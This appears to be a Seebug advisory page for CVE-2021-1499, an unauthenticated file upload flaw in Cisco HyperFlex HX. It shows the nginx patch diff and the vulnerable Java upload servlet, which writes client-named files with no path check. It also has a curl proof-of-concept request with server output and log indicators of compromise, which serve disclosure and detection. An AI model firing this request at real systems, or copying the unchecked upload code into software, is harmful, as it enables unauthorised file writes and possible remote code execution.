Lucene search

K
seebugKnownsecSSV:99256
HistoryMay 20, 2021 - 12:00 a.m.

Cisco HyperFlex HX 未授权文件上传漏洞(CVE-2021-1499 )

2021-05-2000:00:00
Knownsec
www.seebug.org
54

EPSS

0.963

Percentile

99.5%

Technical Analysis

CVE-2021-1499

Arbitrary file upload (RCE implied) in the /upload endpoint.

Patch

--- unpatched/springpath.conf	2021-05-17 19:06:17.000000000 -0500
+++ patched/springpath.conf	2021-05-17 19:06:23.000000000 -0500
@@ -36,14 +36,7 @@
         include     uwsgi_params;
     }

-    location /crossdomain.xml
-    {
-        auth_basic off;
-        proxy_pass http://localhost:8000;
-        allow all; # Allow all to see content
-    }
-
-    location / {
+    location = / {
         return 301 https://$host$request_uri;
     }

@@ -80,12 +73,6 @@
    ### Max upload file size
    client_max_body_size 8000m;

-   location /upload {
-        auth_basic     off;
-        allow          all;
-        proxy_pass http://localhost:8000;
-    }
-
     # similar to storfs-support but with NO auth
     location ~ ^/(storfs-asup)
     {
@@ -188,13 +175,6 @@
         include     uwsgi_params;
     }

-    location ~ ^/(crossdomain\.xml)
-    {
-        auth_basic off;
-        proxy_pass http://localhost:8000;
-        allow all; # Allow all to see content
-    }
-
     # route all traffic that needs authentication to stMgr
     location ~ ^/(stmgr)
     {

Vulnerability

  public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    this.isMultipart = ServletFileUpload.isMultipartContent(request);
    response.setContentType("application/json");
    PrintWriter out = response.getWriter();
    if (!this.isMultipart) {
      out.println("{\"result\": \"Invalid content-type.\"}");
      logger.error("{\"result\": \"Invalid content-type. Must be multi-part\"}");
      response.setStatus(400);
      return;
    }
    ServletFileUpload upload = new ServletFileUpload();
    upload.setSizeMax(this.maxFileSize);
    FileOutputStream fout = null;
    InputStream stream = null;
    try {
      FileItemIterator iter = upload.getItemIterator(request);
      while (iter.hasNext()) {
        try {
          FileItemStream fi = iter.next();
          stream = fi.openStream();
          String uploadedFileName = this.dirPath + "/" + fi.getName();
          File uploadedFile = new File(uploadedFileName);
          fout = new FileOutputStream(uploadedFile);
          byte[] buffer = new byte[1024];
          int len;
          while ((len = stream.read(buffer, 0, buffer.length)) != -1)
            fout.write(buffer, 0, len);
          out.println("{\"result\": \"filename: " + uploadedFileName + "\"}");
          logger.debug("{\"result\": \"filename: " + uploadedFileName + "\"}");
        } catch (org.apache.commons.fileupload.MultipartStream.MalformedStreamException ex) {
          logger.info("MalformedStreamException during file upload servlet stream processing: " + ex);
        } finally {
          if (fout != null) {
            logger.info("Closing fout");
            fout.close();
          }
          if (stream != null) {
            logger.info("Closing stream");
            stream.close();
          }
        }
      }
    } catch (Exception ex) {
      out.println("{\"result\": \"Upload failed: " + ex.getMessage() + "\"}");
      logger.error("{\"result\": \"Upload failed: " + ex.getMessage() + "\"}");
      logger.error("Exception during file upload servlet stream processing: " + ex);
      response.setStatus(500);
    }
  }

PoC

wvu@kharak:~$ curl -v http://192.168.123.133/upload -F x=@/dev/null
*   Trying 192.168.123.133...
* TCP_NODELAY set
* Connected to 192.168.123.133 (192.168.123.133) port 80 (#0)
> POST /upload HTTP/1.1
> Host: 192.168.123.133
> User-Agent: curl/7.64.1
> Accept: */*
> Transfer-Encoding: chunked
> Content-Type: multipart/form-data; boundary=------------------------1b9a7fe625152b78
> Expect: 100-continue
>
< HTTP/1.1 100 Continue
* Signaling end of chunked upload via terminating chunk.
< HTTP/1.1 200 OK
< Server: nginx/1.8.1
< Date: Tue, 18 May 2021 01:10:59 GMT
< Content-Type: application/json;charset=ISO-8859-1
< Content-Length: 56
< Connection: keep-alive
< Content-Security-Policy: default-src 'self'; script-src 'self' 'sha256-NqIRKoqKg0DGa/4ZvALvdLDeCWjHxRJAGWG9bR7oqhg='; img-src 'self'; style-src 'self' 'sha256-+iKfdo1l+xjgkzhMgz1wtLzCQP0aDTXicQujdoPsGrM='; font-src 'self' 'sha256-+iKfdo1l+xjgkzhMgz1wtLzCQP0aDTXicQujdoPsGrM='; frame-src 'self'; frame-ancestors 'self'; object-src 'none'; connect-src 'self'
< X-Content-Type-Options: nosniff
< X-XSS-Protection: 1; mode=block
<
{"result": "filename: /var/www/localhost/images//null"}
* Connection #0 to host 192.168.123.133 left intact
* Closing connection 0
wvu@kharak:~$
root@HyperFlex-Installer-4.0.2d:~# ls -l /var/www/localhost/images/null
-rw-r--r-- 1 tomcat7 tomcat7 0 May 17 18:10 /var/www/localhost/images/null
root@HyperFlex-Installer-4.0.2d:~#

IOCs

==> /var/log/nginx/access.log <==
192.168.123.1 - - [17/May/2021:18:10:59 -0700] "POST /upload HTTP/1.1" 200 81 "-" "curl/7.64.1"

==> /var/log/springpath/stBootstrapGuiBackend.log <==
2021-05-18-01:10:59.568 [tomcat-http-2] DEBUG c.s.sysmgmt.service.StorvisorFileUploader.doPost():74 - {"result": "filename: /var/www/localhost/images//null"}
2021-05-18-01:10:59.568 [tomcat-http-2] INFO  c.s.sysmgmt.service.StorvisorFileUploader.doPost():81 - Closing fout
2021-05-18-01:10:59.568 [tomcat-http-2] INFO  c.s.sysmgmt.service.StorvisorFileUploader.doPost():85 - Closing stream

==> /var/log/tomcat7/catalina.out <==
2021-05-18-01:10:59.568 DEBUG com.storvisor.sysmgmt.service.StorvisorFileUploader:74 - {"result": "filename: /var/www/localhost/images//null"}
2021-05-18-01:10:59.568 INFO  com.storvisor.sysmgmt.service.StorvisorFileUploader:81 - Closing fout
2021-05-18-01:10:59.568 INFO  com.storvisor.sysmgmt.service.StorvisorFileUploader:85 - Closing stream

==> /var/log/tomcat7/localhost_access_log.2021-05-17.txt <==
127.0.0.1 - - [17/May/2021:18:10:59 -0700] "POST /upload HTTP/1.0" 200 56